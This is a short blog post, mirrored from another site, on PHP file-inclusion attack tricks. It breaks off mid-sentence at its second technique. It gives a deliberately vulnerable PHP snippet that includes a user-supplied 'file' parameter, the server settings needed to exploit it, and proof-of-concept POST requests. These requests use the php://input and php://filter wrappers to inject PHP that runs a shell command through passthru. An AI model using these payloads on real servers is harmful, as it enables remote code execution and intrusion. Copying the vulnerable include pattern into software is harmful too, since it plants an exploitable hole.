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Self Contained RFI in PHP

This is a direct rip from here : http://www.cr0w.ru/2009/03/self-contained-file-include-in-php-520.html It is for my own record, and can be seen as a mirror. :) Sometimes those two tricks may be useful in RFI attacks. 1. Using php://input wrapper php://input wrapper allows you to read raw POST data (http://ru2.php.net/wrappers.php). For example, there is such code: sini2 <? if ( include($_GET['file'] . '.php') ) { echo 'Henck!'; } else { echo 'Error!'; } ?> For exploitation we need: allow_url_include=On magic_quotes_gpc=Off PoC: POST http://site.com/index.php?file=php://input HTTP/1.1 Host: site.com <?php passthru('dir'); ?> Also using additional php://filter wrapper (available since PHP 5.0.0) we can encode our php code: POST http://site.com/index.php?file=php://filter/read=string.rot13/resource=php://input HTTP/1.1 Host: site.com <?php passthru('dir'); ?> 2. Using data: wrapper Since v